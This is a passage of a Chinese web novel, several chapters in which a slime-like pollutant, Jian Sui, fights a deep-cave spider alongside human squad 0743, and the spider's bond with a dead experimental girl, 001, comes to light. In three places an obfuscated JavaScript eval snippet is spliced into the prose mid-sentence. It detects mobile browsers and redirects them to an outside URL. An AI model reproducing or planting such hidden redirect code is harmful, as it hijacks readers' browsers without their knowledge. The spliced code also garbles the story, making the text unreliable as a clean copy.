李麦怡充耳不闻，内心默默翻白眼—— 信你，被秒了还信你，脸怎么那么大呢？到底谁犯傻？ 不过她有点担心韩雨香被动摇，毕竟她跟戴宸关系亲密，赵河也是老队友，有所顾虑也正常。 但意料之外的，韩雨香也根本不理，冷冷的声音找不出一丝波动：“你想要我们怎么做？” 简岁倒是很馋她们特制的武器，很想试试开枪是什么感觉，不过她不会用，也用不了。 她没手啊。 简岁颇感遗憾：“你们看那只蜘蛛，像不像一只大螃蟹？” 李麦怡一愣，下意识观察缩在角落里伺机而动的深穴蜘蛛。 本来蜘蛛的结构就跟螃蟹差不多，这只污染物蜘蛛还进化出了坚硬的外壳，覆盖全身，背部钢铁般的构造长出尖刺，紧紧保护着柔软的内部。 别说……还真…… 深穴蜘蛛一顿，尖锐的八条腿凶狠插进岩石地面里：“？” 再说一遍？ 简岁自顾自说着：“我可会吃螃蟹了，先掀开蟹壳，再掰掉腿，去掉腮啊心脏啊那些，就能吃到美味的蟹肉和蟹黄。” “剩下的蟹腿更是一绝，我最喜欢一边追剧一边啃了……” 李麦怡：啊？ 她好迷茫，现在是讨论螃蟹的时候吗？ 而且这污染物好有生活气息，怎么比她还像个人呢？ 韩雨香：“。” 简岁说得自己口水都快流出来了，也不知道这个世界到底有没有肥美大螃蟹吃啊。 要是这个世界的海鲜都被污染变异了，她真的会伤心死。 不过话说回来，变异的螃蟹她好像也可以吃，谁叫她也是污染物。 这么一想又没那么伤心了。 简岁：“我的意思就是，你们掩护我，只要让我碰到它，我就能把它壳掀了。” 她语气很笃定，仿佛这只B级污染物已经是她餐盘里蒸熟的大螃蟹。 李麦怡多少感到安心。 不过这洞穴也不大，那蜘蛛应该没什么躲避的空间，要追上还是挺容易的，怎么还需要掩护？ 直到她亲眼看着那只圆乎乎的污染物就地打了个滚，哼哧哼哧地才动了半米。 …………好别致的走路方式。 这年头还有污染物靠打滚前进的啊！！ 李麦怡突然有点怀疑自己抉择的正确性了。 一扭头，高冷如韩雨香似乎都有点僵住。 简岁不知道她们在想什么，但既然说了要合作，那肯定是认真的。 她的确没法像吃小蜘蛛那样把大蜘蛛也包饺子，但她可以从里往外击破啊，不试试怎么知道。 进化之后的深穴蜘蛛显然不再是混沌的低级污染物，它仿佛能琢磨明白对话里的意思—— 两波闯入者联手了。 可它背靠着洞穴坚硬的墙壁，灵魂始终有股惴惴不安的战栗。 明明它比之前更强大，但面对那只很弱小的污染物，就是有股油然而生的恐惧。 就好像，面对造物主的那种感觉。 简岁稍微靠近一点，它就应激似的开始疯狂吐丝，八条腿深深嵌入洞壁，几乎将自己镶嵌在岩石上。 漫天白色蛛丝落下，逆着昏暗的光像一场抽象凌乱的大雪。 以简岁的移速，滚冒烟都躲不开，之前就是这么被裹住的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718987|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然对方也杀不了她，但总不能一直这么耗着，这就是为什么她要找小队合作。 蛛丝扑面而来的瞬间，蓝色刀光一闪而过，带着冰冷的凌厉气势将雪幕一分为二，短暂露出了能供人通过的缝隙。 韩雨香在一旁轻盈落地，手中握着的短刃闪着冰蓝色微光，看不出是什么材质。 简岁愣了下，没想到辅助系竟然也有这么好的身手，被污染强化过的异能者果然非同凡响。 那把短刀也是，居然能轻易切开B级污染物的蛛丝。 看来她对这个世界人类的了解还是太少。 污染时代已经持续一百多年，不仅污染物在进化，人类也一样在成长。 其实在她那个世界也一样，人类文明发展的速度比几亿年里任何一种星球霸主都快得多。 只是不知道这一次，人类是否依旧能跑在污染的前面。 切断的蛛丝马上就会被新的蛛丝填补，机会稍纵即逝，简岁集中注意力，打算拼一拼。 结果还没跳起来，就突然落进一个稳当的怀抱—— 她被李麦怡一把捞进怀里，瞄准层层叠叠的蛛丝缝隙猛地窜了过去。 如果说韩雨香身手敏捷轻盈如燕，那李麦怡就像一道疾冲的闪电，速度快得绝对超出人类极限，甚至人眼只能捕捉到一串残影。 李麦怡：“你早说你需要移速嘛。” 「异能：迅步」 如果只有李麦怡自己，她还真不敢这么大张旗鼓地冲向污染物。 但怀里揣着个果冻团子，不知怎么就很有底气。 眼看一人一团越来越近，深穴蜘蛛庞大的身躯开始颤抖，数不清的小蜘蛛哗啦啦掉落，惊恐地满地乱窜。 简岁看准时机，从李麦怡身上跳下去，想直接降落在大蜘蛛背上。 害怕归害怕，大蜘蛛倒也不会坐以待毙，猩红双眼往上瞪着，直接抬起最靠前的节肢猛地刺向坠落的简岁。 蜘蛛腿被一层坚硬外壳覆盖，泛着锃亮的反光，尤其尖端极其锋锐，还附生着数十枚细长尖刺。 看一眼就令人胆寒的武器。 按计划后面都交给那只污染物，李麦怡立即原路返回，但还是忍不住回头。 于是就眼睁睁看着那狰狞的蜘蛛腿把简岁捅了个对穿。 尽管知道对方有宛如不死之身的重构速度，她心里还是咯噔一下。 其他人顿时更不淡定了，尤其被挂在顶上的那两个。 赵河惊愕道：“就这！？？不是，韩姐你们就指望这玩意儿？” 戴宸阴沉沉道：“别浪费时间了，李麦怡，赶紧把我救下来，说不定还能打，再一意孤行就一起死吧。” 队友肯定得救，但李麦怡知道事情没有这么简单。 她盯着那被串在蜘蛛腿上的小果冻团子，看起来那么弱小可怜，毫无反抗之力。 或许大蜘蛛也松了口气，可下一秒，那团半透明的东西便开始融化，变成了流动的水。 半透明的水顺着蛛腿蔓延，像是延着墙壁生长的爬墙虎，一点点侵蚀领地。 深穴蜘蛛明显愣了下，等反应过来便疯狂开始甩动蛛腿，但没有用。 简岁顺着蜘蛛外壳上每一寸纹路游走，像是天然就生长在那里。 她尽情地游走，很快便顺着蜘蛛腿爬上小山丘似的脊背，十数根突起的尖刺彰显着主人的凶狠，但在这一刻，它们都成了无用的装饰。 再锋利的武器，拿一滩水又能怎么样呢？ 洞穴内诡异地安静片刻，忽然传来赵河无意识的惊呼：“我靠……牛逼啊。” 戴宸咬紧牙关，不说话了。 5. 深穴蜘蛛（4） 被深穴蜘蛛那锋利尖腿刺中的瞬间，简岁脑海里便响起熟悉的机械女音—— 【系统提示：您已死亡。】 【正在重构……】 【重构完成。】 简岁顺势变化形态，化作流水爬上大蜘蛛的脊背，一点点摸索着这只身着钢铁盔甲的污染物。 连子弹都打不穿的硬度，硬刚肯定行不通，好在凡是钢铁组成必有缝隙，而她有形态优势、无孔不入。 很快，在外壳的连接处，简岁找到了极其隐秘的薄弱点，她眼前一亮，立即往里钻。 从来都是深穴蜘蛛缠着猎物，这是它第一次被猎物阴魂不散地缠着，像附生在壳上的一片青苔，怎么也摆脱不了。 发现简岁真想钻进它身体里，大蜘蛛顿时恐慌到极点，挥舞的腿尖划拉过岩石表面，发出刺耳的摩擦声，同时拉出一串小火花。 但它甚至无法触碰到附着在背部的那滩污染物。 所有的挣扎都是徒劳的，深穴蜘蛛口中嘶嘶嘶悲切低鸣，最后只能将后背重重撞向岩壁，企图用接近自毁的行为阻止简岁的入侵。 整个洞穴为之一颤，数十只小蜘蛛被坚硬的外壳压碎，噼里啪啦炸开，仿佛一串爆浆小鞭炮。 然而无论它怎么挣扎，简岁只紧紧盯着钢铁山丘中的缝隙，一点点、一点点钻进去，像水流缓缓渗进地底。 无声无息、不可阻挡。 钢铁外壳下，她又闻到了属于污染的芬芳气味，比之前小蜘蛛身上浓郁得多。 小蜘蛛是深穴蜘蛛的衍生低级污染物物，最多E级，顶多算开胃小菜。 眼前这接近B级的大家伙，才是这次的主菜。 在简岁眼里，深穴蜘蛛俨然已经是一只熟粉色的肥美大闸蟹。 她笑了笑：“再不拼命的话，真的会被我吃掉啊。” 异物入侵的感觉如此清晰，深穴蜘蛛浑身一僵，也不知是不是听懂了她的话，刹那间迸发出惊人的能量。 那些吐出的蛛丝不再袭击一旁的0743小队，而是猛然调转势头、拧成一股，宛如钻头般狠狠扎进它自己身体里！ 钢铁外壳怦然碎裂，深穴蜘蛛发出痛苦的尖鸣声，却义无反顾地继续往里面探入，疯狂寻找简岁所在的位置。 不、不能让她进去！ 蛛丝无差别搅动着自己的血肉，大蜘蛛八条腿因剧烈袭来的痛苦而抽搐颤抖，但它没有停下。 就算是死也不能让她进去！ 不行，不行…… 简岁才刚钻进去，身后便追上来数根雪白蛛丝，她一边躲避一边往里去。 按人类处理小队的经验，E级以上污染物会在体内形成一枚污染原核，即是个体的污染源头。 她要找到原核，吃掉它。 可架不住蛛丝实在太灵活，深穴蜘蛛更是疯狂到不计后果，哪怕把自己搅成一摊烂泥，它也一定要把简岁拽出去。 这是真疯了。 蛛丝很快缠住简岁，连同自己的肉泥一起狠狠往外扯。 周围的小蜘蛛们都吓蒙了，瑟瑟发抖地缩在大蜘蛛身边，一动也不敢动。 另一边，没了蛛丝的持续袭击，李麦怡和韩雨香终于得到喘息机会。 二人对视一眼，十分默契地举起武器，果断朝洞穴顶部开出数枪。 赵河大惊失色：“别冲动啊别冲动！你俩枪法行不行啊！万一打歪了……” 子弹命中蛛丝，将两枚白茧击落，重重砸到地上。 “咳咳咳咳！” 赵河痛得龇牙咧嘴，幸好有厚厚的蛛丝缓冲，不然真要摔碎了！ “你们两个女孩子就不能温柔点吗！！” 李麦怡瞬间头顶冒火，忍不住回怼：“都这时候了就闭嘴吧！救你就不错了，难道不是命更重要吗？” 她不擅长骂人，说出来的话没什么攻击力。 赵河愤愤道：“我们是队友，救我那不是应该的！只是让你温柔点而已！” 李麦怡气得想给他一枪。 一旁的韩雨香始终神色冷冷，用蓝色短刃划开蛛丝茧，把二人放出来。 反而这种不搭理的冷漠态度，赵河连屁都不敢放一个：“哎哟还得是韩姐，谢谢韩姐！” 李麦怡看不过去，还想说什么，忽然听见简岁大喊提醒—— “蜘蛛疯了，都躲开！” 但根本没给0743小队几人反应时间，简岁话音刚落，本就昏暗的洞穴忽然压下一片乌云似的阴影。 悬挂在洞穴顶部的人面蛛网，坠落了！ 十数张人脸随之挣脱而下，伴随着隐约的哭声和笑声，凶狠扑向所有人。 “哈哈哈……哈哈哈。” “嘻嘻……嘻嘻……” “呜呜呜，呜呜。” 所有人声在洞穴中反反复复、层层叠叠，经过无数次反射形成绵延不绝的回音，钻入每个人的耳膜。 众人脸色大变。 冰蓝色光芒闪烁，韩雨香率先一刀划开人面蛛网，竟真的像砍中人类血肉，柔软而富有弹性。 蛛网中渗出鲜红的血，顺着刀身爬到她的手套上。 韩雨香眼神都没动一下，猛地用力劈开，反手拽住李麦怡：“走！” 李麦怡立即开启异能，用「迅步」带着队友一起钻出蛛网覆盖区域。 戴宸这回终于展现出0743队长的素质，直接将一张蛛丝人脸电得僵直几秒，趁机逃出。 回头一看，只有赵河被劈头盖脸网了个正着，一张带笑的蛛丝人脸张开大嘴，狠狠咬住这只人类的手脚。 “嘻嘻嘻……” 赵河惨叫一声：“啊啊！！戴哥！救命！韩姐！小李！救我啊！！” 李麦怡一个眼神都不给：“我耳朵不好，什么也没听见，韩姐你听见了吗？” 这不是借口，大多数异能者都伴随着身体的异变，这是获得污染能力的代价。 她耳朵不好，常年需要佩戴助听器。 不过李麦怡其实知道，她不救，其他人也会救，处理员完成任务后都得写报告上交污染处理中心归档的。 对队友见死不救，报到中心那边说不过去，肯定被记过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718988|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 韩雨香没戳穿她的气话，淡淡瞥了脸色惨白的赵河一眼：“死不了。” 戴宸已经折回去救人。 她反而盯着角落里反抗剧烈的大蜘蛛，把蓝色短刀塞进李麦怡手里：“你得去帮那只污染物，深穴蜘蛛不死，我们都别想活着离开。” 李麦怡点头，拿起匕首毫不犹豫冲向深穴蜘蛛所在的地方。 她速度极快，一眨眼就到了旁边，脚底踩碎几只慌不择路的小蜘蛛，爆出恶心的白浆。 此时大蜘蛛的状态也非常可怕，无数蛛丝深深陷入它的躯体中，宛如一场惨烈的自残景象。 它浑身扭动、抽搐，却就是不肯放弃。 它甚至已经无法自如地控制自己的八条腿，无法阻止李麦怡的接近，只是从灵魂深处发出凄厉的惨叫。 李麦怡深吸一口气，像割一把韭菜那样，直接割断了拉扯简岁的蛛丝。 简岁身上的阻力一轻，径直钻向更深处。 这次，已经没有什么能阻止她了。 她能感觉到污染最浓的地方就在前方，正散发着神秘气息。 她还没见过污染原核长什么样。 简岁来到深穴蜘蛛最隐秘的内部，意外发现这里竟然格外空旷。 与普通蜘蛛充满白色浆液不同，它内部没有任何物质，只有漆黑的一片空腔。 它拥有钢铁般坚硬的外壳和锋利的尖刺，它用尽力气将自己塑造得凶悍无比，可它小山丘般的腹部正中—— 是空的。 简岁都愣住了，她没想到居然是这种情况，如果不是污染的力量，这只蜘蛛恐怕早就死了。 这时，她眼前晃了晃，隐约看到黑暗中下方有什么东西。 简岁屏住呼吸靠近，很快，她看见了—— 在深穴蜘蛛腹部的空腔里，竟然静静蜷缩着一位人类少女。 少女侧躺蜷缩着，肤色像蛛丝一样白，露出的半张侧脸精致漂亮，海藻般蓬松黑亮的卷曲长发覆盖在身侧。 裙摆像花瓣似的散开，纯净又美好。 她安静地闭着眼，宛如一尊白瓷雕像。 而她心脏处闪着乌黑的光，正是污染原核所在之地。 察觉简岁已经发现自己躯体里的秘密，深穴蜘蛛猛地顿住。 刹那间，它仿佛失去所有力气，八条腿再也支撑不住沉重如山的身躯，颤抖着轰然倒下，直接将岩石地面砸出蛛网般的裂缝。 或许是今天被二次污染、进化到B级的缘故，它那混沌污浊已久的神智竟然有一丝松动。 临死前，它隐约想起一个人的模样，那是一个人类的女孩。 它又隐约听到一阵嗡嗡的杂音，其中夹杂着女孩虚弱温和的说话声，似乎很遥远，又似乎就在昨天。 ——“小蜘蛛，我的心脏又在疼。” ——“小蜘蛛，我好像要死了。” ——“小蜘蛛，等我死了，你就把我吃了吧，这样你还可以活久些。” 小蜘蛛，切开我的尸体，咬断我的骨头。 为了活下去，吃掉我吧。 6. 深穴蜘蛛（5） 女孩暴露的瞬间，深穴蜘蛛忽然停下所有挣扎动作，像是陷入某种隐秘的困境。 看着女孩胸口散发的乌黑光晕，简岁有点迟疑，不知道怎么才能拿到这颗污染原核。 她也没搞懂为什么大蜘蛛的腹部会睡着一个人类，仿佛某种美女与野兽的组合，怪诞至极。 简岁靠过去，先贴贴女孩乌黑的长卷发，是冰冷的，再贴贴女孩雪白的手臂，也是冰冷的。 人早就死了，只有胸口的污染原核源源不断散发着奇异能量。 或许正因为这神奇的力量，才能留下一具保存完好的尸身。 她思考片刻，刚落在女孩散开的裙摆上，就感觉四周一震，紧接着传来血肉撕裂的声音。 仿佛生怕她要做什么似的，两条尖锐蛛腿急切刺入，竟硬生生将自己腹部撕开一道大口！ 伤口截面渗出白色浆液，滴滴答答往下落。 洞穴昏暗的光透过伤口照进腹部空腔，落在死去女孩的发尾上。 简岁愣住，在她看来这蜘蛛的行为无异于自杀，到底为什么？ “嘶嘶嘶……”深穴蜘蛛痛苦抽气，却始终不放弃抵抗。 无数雪白蛛丝涌入，刹那间将整个空腔紧紧填满。 与此同时，女孩黑亮的长卷发也开始生长，仿佛春日里生机勃勃的满树柳条，越来越多、越来越多，迎向涌入的蛛丝。 长发触碰蛛丝，像女孩温柔托起的手掌，也是好久不见后的第一声问候。 曾经有数百次，她都这么轻轻地将它托在掌心，无聊时喃喃自语：“小蜘蛛，现在只有你了。” ——“在实验室的时候，我最害怕你，但现在，只有你了。” 生长没有停止，蛛丝和黑发还在肆无忌惮地膨胀。 女孩胸口的黑光越来越盛，污染原核此刻就是一台超负荷运行的动力机，不知疲倦。 当深穴蜘蛛的腹部装不下，那些黑白交织的丝线便往外溢出，宛如某种凌乱交缠的双色长虫，飞速侵占洞穴空间。 简岁猝不及防被头发缠住，又随着发尾被推到外面，立即就是劈头盖脸的一团蛛丝，将她完全裹住。 “……”又来。 离得最近的李麦怡差点被波及，踉跄后退几步，脸色发白：“这蜘蛛疯了？” “不行，这样下去整个洞穴都会被吞没，不能留在这里了。”韩雨香飞速分析形势。 本来这只污染物因为二次污染就超过了他们小队的应对范围，如果不是跟信息部那边断联，估计早就会收到撤离通知。 而且不出意外的话，支援应该已经在路上了，到时候会有更高级的处理员来善后。 对0743小队来说，活着离开才是此次任务目标。 韩雨香看得很通透，也没什么非要逞强的英雄主义，打不过就撤退，这是亘古不变的生存法则，不丢人啊。 但其他人未必这么觉得，尤其戴宸。 他前脚在新人面前装逼，后脚就被深穴蜘蛛当着女人的面秒了，有多难看只有他自己清楚。 要不能找个机会证明自己，还不如死了算了！ 他盯着已经占领半个洞穴的蛛丝头发混合物，表情阴测测的，取出一枚火红色方形装置。 赵河刚被蛛丝人脸啃了一口，捂着的胳膊还在往下滴血，一见到这装置都顾不上喊疼，直接瞪大眼睛： “我靠戴哥！这是、这是新能源武器？老贵了！我全部身家加起来才能换一个C级，我都没舍得！” 李麦怡也听说过这种新能源武器，全部由中心研究所自主研发、自主制造，只分为ABC三档，数量不多，但威力远超普通热武器，针对污染物更是有奇效。 而且有钱都买不到，只有处理员通过完成任务获得积分，才能到官网兑换。 她入职当天好奇看过一眼，这么说吧，假如每个月出两次D级任务，她需要攒三年才能换个最低的C级。 看到戴宸有，她多少有点好奇，偷偷瞄了几眼，但看不出是什么用途。 戴宸神色放松，心里总算舒坦了点。 这其实也是他手头唯一一个新能源武器，当初兑换的时候心都在滴血。 污染处理中心发的积分那可是能换钱的，折算下来，等于这小玩意儿花了他足足三百万，就是为了关键时候保命用。 再不舍得，他现在也得装出云淡风轻的样子：“C级新能源武器「赤火匣」，作为队长，我觉得既然接了这个任务，就得解决了再走，让别人来擦屁股像什么样子？” 赵河眼睛都在放光。 赤阳系列的「赤火匣」，能瞬间放出100立方米的赤火，据说能模拟出原版赤火四分之一的威力，A级污染物来了都得掉层皮。 眼前这只深穴蜘蛛再进化，也就是B级，而且蛛丝和头发都怕火，简直天克。 只可惜这「赤火匣」是一次性消耗品，不然以其灼烧一切的威力，怎么也能排B级。 戴宸自信满满，让所有人退到自己身后，打算把匣子激活。 “可那只污染物还没出来，如果现在就放火的话……” 李麦怡迟疑地往深穴蜘蛛处看了看，茂盛的蛛丝和黑发几乎挤满视线，她一时半会儿也找不到那只小果冻污染物在哪里了。 毕竟之前谈好了合作，人家帮忙拖住大蜘蛛，她们转身就跑还放把火，岂不是背刺？ 李麦怡是这一行的新人，又只有二十岁，心还比较软。 戴宸冷笑：“一个污染物死了就死了，你怎么婆婆妈妈的，而且答应合作的是你又不是我，你要不忍心，不如留在这里陪它？” “我……”李麦怡语塞。 是的，人类与污染物势同水火，这是写在手册第一页的导语。 作为一名污染处理员，她不该对污染物产生同情这种东西。 可是…… 戴宸懒得多费口舌，激活「赤火匣」直接甩向深处：“不想死就走！” 溢出的蛛丝头发像一团团泡发的紫菜，还在以惊人都速度往外蔓延。 就在这时，红光闪动，浓烈赤色火焰在深穴中瞬间绽放！ 火焰如同跳跃涌动的鲜血，星星点点落下，立即引燃一大片连绵不绝的火势，烧得到处都是噼里啪啦的声响，烧得岩壁都变成红色。 灼热在狭小的洞穴中无处弥散，温度节节攀升，很快便达到一个常人无法忍受的程度。 戴宸观赏着自己的杰作，眼底露出兴奋。 针对这种紧急情况，就算没带回去污染原核，但只要真的杀掉这两只污染物，哪怕都按B级算，他也能收获一笔不菲积分。 而且中心那边肯定会给额外奖励。 或许他能凭借这次任务往上升一级也说不定。 他越想越按耐不住，率先撤退，赵河自然屁颠屁颠跟上，只有李麦怡还在三步一回头。 韩雨香最后朝赤红火海望了一眼，冷静的眼里摇曳火苗。 她拽住李麦怡的胳膊往外拖：“走。” 0743几人奔向狭长的岩石通道，只要八分钟就能到达出口。 简岁正陷入一面柔软蓬松的墙。 她以水流形态在墙的缝隙中穿梭，感受到四面八方袭来的压迫感。 也就在这时，热浪穿透层层叠叠的蛛丝和头发，直直浇在她身上。 漫天火焰扑面而来，瞬间将一大片蛛丝头发烧成灰烬。 有一瞬间，简岁甚至以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718989|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己在看日落时浪漫唯美的火烧云—— 如果不是这么烫的话！！ 火舌窜到她身上，立即烧出一片焦黑。 虽然很快就自动修复了，痛感也只有一瞬，但的确伤害到了她，可见那人至少在「赤火匣」的事情上没吹牛。 此时洞穴几乎成了半封闭窑洞，简岁那个时代的人们会以这种方法烧制木炭。 只不过这次没有柴火，被烧的是她和大蜘蛛。 这是想干脆地一次性解决两只污染物啊。 简岁隐约看见火海的另一边，人类小队匆忙逃离的身影。 她又不是聋子，那些人说话她都听见了。 她打心底里笑了下，觉得很有意思。 新能源武器？赤火匣？ 很好，有机会她也要整一点来玩玩。 简岁继续在蛛丝和头发的缝隙里游走，其实她也可以轻松逃掉。 但她并不想现在就离开。 她往里走，向着女孩所在的方向。 很快找到了，深穴蜘蛛奄奄一息地缩在角落，蛛腿虚弱捂着腹部伤口，防止火焰烧到它肚子里的人。 它腿尖仍旧挣扎着想阻挡，但已经连站立的力气都没有。 此前为了驱赶体内的入侵者，它做出种种惨烈行为，现在都变成了生命流失的缺口。 面前的水流渐渐构成一个半透明果冻状圆球，滚到它跟前。 简岁说：“你快死了，我要拿走你的原核，没问题吧？” 当然了，如果小蜘蛛拒绝的话，她不介意采取一些更激进的手段。 深穴蜘蛛刚到B级没多久，还不会说话，但它幸运地生出一点灵智。 它用腿尖在空中划拉几下，简岁竟能读懂—— “可以，但不要伤害她。” 身后火海极速扩张，简岁却很淡定，饶有兴致问：“她是谁？” 深穴蜘蛛的腿顿住，半晌—— “001。” 这算什么名字？ 但一只濒死的小蜘蛛应该不会骗人吧？ 简岁暂且相信，再次钻入大蜘蛛腹部，找到001女孩。 女孩胸口裂开缝隙，露出里面黑漆漆的一颗不规则球体，估计就是污染原核。 简岁轻轻取出来，一部分身体融化，熟练地将它包裹进去消化。 热腾腾、香喷喷的污染能量在体内弥漫流动，就像吃了一顿海鲜大餐那么满足。 赤火烧尽洞穴内所有蛛丝和头发，终于扑向角落。 在那里，深穴蜘蛛死了，它一动不动，任由火焰映照着它破碎的钢铁外壳。 0743小队回去写报告，或许会说，B级污染物「深穴蜘蛛」死于赤火。 但只有简岁知道，它是为了保护一名死去多时的人类女孩。 而在它的腹部空腔，女孩仍然安静蜷缩着，黑亮长发如同遮天蔽日的乌云，与洁白蛛丝缠绕在一起。 她睡在乌云和白云制成的大床上。 希望她做个好梦。 0743小队还没有走远，放出赤火的那个人还在范围内，容她先升个级。 简岁消化着深穴蜘蛛的原核，感觉身体似乎产生了一些变化。 不过在系统的声音出现之前，她忽然听到一声轻柔的呼唤—— “小蜘蛛？你怎么也在这里？” 简岁蓦然睁开眼，周围黑黝黝的，没有蛛丝、没有头发、没有赤红的火焰，一切都如此正常。 这是一处再普通不过的隐秘洞穴，是在多年之前，深穴蜘蛛个头还只有掌心大的时候。 一名身着长裙的女孩抱膝缩在角落里，黑亮的眼睛仔细盯着简岁。 “小蜘蛛？” 7. 深穴蜘蛛（6） 001女孩盯着地面，四周很昏暗，她其实看不太清楚，但能感觉到洞穴里还有除自己之外的活物。 “小蜘蛛，你怎么也在这里？” 或许是消化掉污染原核的缘故，简岁此刻成了深穴蜘蛛记忆的旁观者。 小蜘蛛哒哒哒爬到001裙边，它无法说话，只能倾听。 在小蜘蛛简单的记忆里，它和001来自同一座银色花园。 那是一座冰冷的大花园，主体是银色和白色，开着永不枯萎的花丛。 花园里还生活着许多别的生物，但每隔一天都会少一些，然后又有新来的。 001住得最久，所有人和动物都认识她。 小蜘蛛则是某次大筛选中唯一通过的蜘蛛，因此得到珍贵的存活机会。 它也记得001，她有最长最长的头发，让它联想到自己细细的蛛丝。 001为什么来到这里？它不知道。 它只是看见几个人将001装进黑色的大盒子，便跟着钻了进去。 没有为什么，你不能要求一只小蜘蛛做事有理可循，对吧？ 它就这样躲在001黑色的长发中，被一起投入黑漆漆的洞穴，也就是这里。 001可是花园主的宝贝啊，花园主总是温和地凝视她、细心地呵护她，为什么又把她抛弃？ 小蜘蛛想不通人类的事。 001的话没得到任何回应，她的确不能奢求一只蜘蛛与自己交谈。 她是实验品，这只蜘蛛也是。 实验失败了，于是他们决定启动销毁程序。 他们有一套完整而高效的销毁程序，只需几分钟就能将失败品彻底灭活。 但不知道出了什么变故，他们没有立即销毁001，只是挖了个四面封闭的洞穴，将她埋葬。 001可不觉得这是什么仁慈之举，这让她不得不独自面对死亡前漫长的孤寂。 没有光、没有食物、没有水，空气也很稀薄，死亡的过程被无限拉长，像一场痛苦的慢性处决。 哦不是独自，至少，还有一只小蜘蛛。 她以前害怕蜘蛛，但现在，没有什么可怕的了。 001让小蜘蛛爬到自己掌心，把它托起来，发现还挺沉的。 “小蜘蛛，现在只有你了。” “你知道吗，我的心脏是一颗污染原核，它没日没夜地疼，为此我得吃很多药、打很多针。” “但它们并不会让我更健康，我的心脏早就死了，我也快死了。” “我会死在这里，然后腐烂，最后消失不见。” “他们不让我死在花园，不想有人发现我，哪怕是尸体。” 小蜘蛛安静待在她掌心，暖暖的，比花园的温室还暖和。 它不是每个字都能听懂，但它听得很认真。 001从没说过这么多话，她一向谨慎地保持沉默，但在生命的最后，多说一点怎么了？ 她不知道自己会在第几天死去，或许是明天，或许是第十天。 胸口的黑色心脏散发着神秘的能量，苦苦支撑女孩虚弱不堪的身体。 洞穴中没有日夜更替，更难以感受到时间的流逝。 像是过了一年，又或者其实只过去一天。 001喃喃道—— “小蜘蛛，我大概就要死了。” “你体型小，或许有缝隙能出去，你可以自由的。” 001的声音越来越微弱，心脏疼的时候，她说话甚至会颤抖，到后来，她只能靠着一块岩石喘息，无法起身了。 小蜘蛛已经渐渐能听懂更多她的话。 它觉得自己还挺聪明的呢。 它听到001很小声很小声地说：“我是出不去了，等我死了……” “或许有人能发现我。” “好希望有人能发现我呀。” 哪怕是在死后，有人看到她的尸体也好呀。 她不叫001，有人想问问她的名字吗？ 而这次，小蜘蛛听懂了她的一整句话，它看向四周坚不可摧的岩壁。 显然，如果一直关在洞穴里，001永远也没法被其他人类发现。 可洞穴是精心准备的死亡牢笼，本身没有任何可以通行的出口。 除非，能自己挖一个出来。 小蜘蛛若有所思，它不再待在女孩掌心或者裙边，哒哒哒奔向岩石，将尖尖的前肢用力戳在上面。 它又刨了几下，果然留下一点浅色的划痕。 它是能通过大筛选的蜘蛛，它比普通蜘蛛更强壮、更有力。 或许它能挖开岩石，让001出去—— 如果这就是001的愿望的话。 小蜘蛛迫不及待地挖呀挖，挖呀挖，挖到后面已经能熟练运用六条腿了，剩下两条支撑身体。 岩石被它挖出一个小小的坑。 可正当它继续的时候，岩石愤怒回击，折断了它的腿。 一条、两条、三条…… 小蜘蛛的断腿越来越多，挥舞的速度越来越慢，直到再也无法继续。 001疑惑问：“小蜘蛛，你在做什么？” 小蜘蛛没法回答，它用断腿继续戳着岩石，伤口被摩擦，疼痛一阵又一阵，永不停歇。 如果有人看着，一定会觉得它很蠢、它很笨，竟然做出这么不自量力的决定。 可谁叫它只是一只小蜘蛛呢。 它不懂的啊。 小蜘蛛埋头苦挖，它担心001突然死掉，一刻都不敢停歇。 它挖呀挖、挖呀挖，断掉的腿不知不觉重新生长出来。 然后又断掉。 就这样一直重复，新长出的腿开始变得越来越坚硬、越来越锋利。 它听见001体内的黑色心脏在跳动，响彻整个洞穴。 它的体型变得越来越大，并且长出一层坚硬如铁的外壳。 腿上也长出锋利的尖刺，渐渐地，它挖得越来越顺利了。 曾经坚硬的岩石在它新生的铁肢下柔软如泥，轻松就能挖开。 小蜘蛛的污染浓度节节攀升，但对它来说，只是更方便挖岩石而已。 它能感觉到，就快要挖开了。 001还在洞穴起点的位置，她的呼唤听起来那么遥远：“小蜘蛛？” ——“小蜘蛛，我的心脏又在疼。” ——“小蜘蛛，我恐怕永远也没法被人发现了。” ——“小蜘蛛，谢谢你陪着我。” ——“等我死了，你就把我吃掉吧，这样你还可以活久点。” ——“小蜘蛛，你一定要自由呀。” ——“小蜘蛛……” 001的声音变得好小好小，快听不见了—— “记得吃掉我。” 啪嗒。 